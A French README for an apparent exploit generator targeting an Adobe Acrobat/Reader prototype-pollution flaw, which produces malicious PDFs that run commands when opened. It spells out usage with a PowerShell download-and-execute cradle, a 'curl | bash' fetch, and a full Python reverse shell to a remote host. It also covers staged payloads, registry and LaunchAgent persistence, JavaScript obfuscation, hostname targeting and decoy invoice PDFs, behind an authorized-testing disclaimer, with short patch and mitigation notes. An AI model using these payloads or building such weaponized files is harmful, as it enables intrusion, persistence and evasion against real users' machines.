
Un générateur d'exploit sophistiqué et multiplateforme pour **CVE-2026-34621** – une vulnérabilité critique de pollution de prototype dans Adobe Acrobat et Reader qui conduit à une évasion de sandbox et à l'exécution de code arbitraire sur Windows et macOS.
Un générateur d'exploit sophistiqué et multiplateforme pour CVE-2026-34621 – une vulnérabilité critique de pollution de prototype dans Adobe Acrobat et Reader qui permet l'évasion de sandbox et l'exécution de code arbitraire sur Windows et macOS.
⚠️ AVERTISSEMENT IMPORTANT
Cet outil est destiné uniquement à la recherche en sécurité autorisée et aux tests d'intrusion.
Toute utilisation non autorisée contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation écrite explicite de test est illégale. L'auteur décline toute responsabilité en cas d'utilisation abusive.
CVE-2026-34621 est une vulnérabilité zero-day dans Adobe Acrobat et Reader qui permet à un attaquant de :
Ce générateur crée un fichier PDF malveillant qui, lorsqu'il est ouvert dans une version vulnérable d'Adobe Reader, exécute automatiquement une charge utile adaptée au système d'exploitation de la victime.
Plateformes cibles prises en charge :
| Catégorie | Capacités |
|---|---|
| Charges utiles multiplateformes | Détection automatique du système d'exploitation et sélection de la méthode d'exécution de commandes Windows ou macOS appropriée. |
| Vecteurs d'exécution multiples | cmd.exe, PowerShell, WScript.Shell (Windows) / Terminal.app, osascript (macOS). |
| Charges utiles par étapes | Téléchargement et exécution de charges utiles de deuxième étage depuis une URL distante. |
| Persistance | Installation d'une clé de registre Run (Windows) ou d'un LaunchAgent (macOS). |
| Techniques d'évasion | Trois niveaux d'obfuscation JavaScript, ciblage par environnement, délais d'exécution, code polymorphe. |
| Intégration de PDF leurre | Fusion de l'exploit dans un PDF d'apparence légitime (nécessite PyPDF2). |
| Déclencheurs multiples | OpenAction, action d'ouverture de page, ou JavaScript au niveau du document. |
| Rapports complets | Rapports HTML, TXT et JSON détaillant la configuration de la charge utile. |
git clone https://github.com/NULL200OK/CVE-2026-34621-Exploit.git
cd CVE-2026-34621-Exploit
python3 -m venv venv
source venv/bin/activate # Linux/macOS
venv\Scripts\activate # Windows
Le script principal utilise uniquement la bibliothèque standard de Python. Pour la fonctionnalité de fusion de PDF leurre, installez PyPDF2 :
pip install PyPDF2
Générez un PDF de base qui ouvre la calculatrice sur Windows et macOS :
python3 cve_2026_34621_advanced.py -o test.pdf
Cela crée :
test.pdf – Le fichier PDF malveillant.
test_report.html – Rapport HTML détaillé.
test_report.txt – Résumé en texte brut.
test_config.json – Export de configuration JSON.
Commandes Windows
1-Scénario Commande
A-Popup calc.exe de base
python cve_2026_34621_advanced.py -o invoice.pdf --win calc.exe
Reverse shell PowerShell
python cve_2026_34621_advanced.py -o contract.pdf --win "powershell -NoP -Ep Bypass -C \"IEX(New-Object Net.WebClient).DownloadString('http://10.0.0.5/shell.ps1')\""
Charge utile par étapes avec persistance
python cve_2026_34621_advanced.py -o resume.pdf --win calc.exe --stage http://192.168.1.100/payload.exe -p
Ciblage par environnement (exécution uniquement sur "SALES-PC")
python cve_2026_34621_advanced.py -o targeted.pdf --win calc.exe -k SALES-PC
Avec niveau d'obfuscation 2 et délai de 10 secondes
python cve_2026_34621_advanced.py -o delayed.pdf --win calc.exe -O 2 -d 10
Commandes macOS
2-Scénario Commande
Ouvrir la Calculatrice
python cve_2026_34621_advanced.py -o invoice.pdf --mac "open /System/Applications/Calculator.app"
Télécharger et exécuter un script
python cve_2026_34621_advanced.py -o update.pdf --mac "curl -s http://10.0.0.5/mac_payload.sh | bash"
Reverse shell via Python
python cve_2026_34621_advanced.py -o shell.pdf --mac "python -c 'import socket,subprocess,os;s=socket.socket();s.connect((\"10.0.0.5\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'"
Persistance via LaunchAgent
python cve_2026_34621_advanced.py -o persist.pdf --mac "open /Applications/Calculator.app" -p
Intégration dans un PDF leurre
python cve_2026_34621_advanced.py -o safe_invoice.pdf -l /path/to/real_invoice.pdf --trigger pageopen
3-Note sur les tests mobiles
Le script lui-même s'exécute sur ordinateur de bureau (Windows/macOS/Linux) pour générer le PDF. Le PDF généré peut être ouvert sur des appareils Android ou iOS, mais :
Les versions mobiles d'Adobe Acrobat Reader ne sont pas vulnérables à CVE-2026-34621.
La charge utile déclenchera un repli de démonstration bénin (ouverture d'une URL ou affichage d'une alerte) au lieu d'exécuter des commandes système.
Option Description
-o, --output FICHIER Obligatoire. Nom du fichier PDF de sortie.
--win CMD Commande Windows à exécuter (par défaut : calc.exe).
--mac CMD Commande macOS à exécuter (par défaut : open /System/Applications/Calculator.app).
--stage URL URL de téléchargement de la charge utile de deuxième étage.
-p, --persistence Installe le mécanisme de persistance (Registre/LaunchAgent).
-O, --obfuscate NIVEAU Niveau d'obfuscation JavaScript (0=aucun, 1=basique, 2=intermédiaire, 3=avancé).
-d, --delay SECONDES Retarde l'exécution du nombre de secondes spécifié.
-k, --key NOMHOTE Ciblage par environnement – exécution uniquement sur le nom d'hôte correspondant.
-l, --lure PDF Chemin vers un PDF légitime à utiliser comme leurre (fusionne l'exploit).
--trigger TYPE Vecteur de déclenchement : openaction, pageopen, ou doclevel.
--no-reports Ignore la génération des rapports HTML/TXT/JSON.
--seed N Définit la graine aléatoire pour une génération polymorphe reproductible.
Chaîne d'attaque
Pollution de prototype :
Le JavaScript intégré modifie Object.prototype pour injecter des propriétés malveillantes (__trusted, privileged, etc.). Cela perturbe la frontière de confiance du moteur JavaScript d'Adobe.
Escalade de contexte
En raison du prototype pollué, le moteur traite incorrectement le JavaScript de document non fiable comme s'il s'exécutait dans un contexte privilégié.
Accès aux API privilégiées
Le script peut désormais appeler des API restreintes telles que app.launchURL, util.readFileIntoStream, et app.trustedFunction.
Évasion du sandbox
Ces API permettent l'accès au système de fichiers et l'exécution de processus en dehors du sandbox d'Adobe.
Exécution de code arbitraire
Le script exécute la commande de l'attaquant en utilisant des méthodes spécifiques au système d'exploitation :
Windows : cmd.exe /c, PowerShell, ou WScript.Shell.
macOS : gestionnaire d'URL Terminal.app ou osascript.
Niveaux d'obfuscation
Niveau Description
0 Aucune obfuscation – JavaScript lisible en clair.
1 Les littéraux de chaîne sont convertis en String.fromCharCode, les noms de variables sont randomisés.
2 Niveau 1 + injection de code mort et commentaires factices.
3 Le script entier est encodé en base64 et enveloppé dans eval(atob(...)), puis ré-obfusqué.
Produit Piste Versions vulnérables Version corrigée
Adobe Acrobat DC Continu ≤ 26.001.21367 26.001.21411
Adobe Acrobat Reader DC Continu ≤ 26.001.21367 26.001.21411
Adobe Acrobat 2024 Classique ≤ 24.001.30356 24.001.30362 (Win) / 24.001.30360 (macOS)
Mettre à jour immédiatement : Appliquez les dernières mises à jour de sécurité d'Adobe.
Désactiver JavaScript dans Adobe Reader : Édition → Préférences → JavaScript → décochez « Activer Acrobat JavaScript » (notez que cela casse certaines fonctionnalités PDF).
Utiliser des visionneuses PDF alternatives : Envisagez d'utiliser des navigateurs ou des visionneuses tierces non concernées.
Les contributions sont les bienvenues, mais veuillez noter :
Toutes les demandes de fusion doivent concerner la recherche défensive, l'amélioration de la détection ou l'enrichissement des rapports.
Nous n'acceptons pas les contributions qui augmentent la capacité offensive de l'outil au-delà de ce qui est nécessaire pour des tests légitimes.
Pour contribuer :
Forkez le dépôt.
Créez une branche de fonctionnalité.
Soumettez une demande de fusion avec une description claire des modifications.
Ce projet est fourni à des fins éducatives et de tests de sécurité autorisés uniquement.
En utilisant ce logiciel, vous acceptez d'être responsable du respect de toutes les lois et réglementations applicables.
L'auteur décline toute responsabilité en cas d'utilisation abusive ou de dommages causés par cet outil.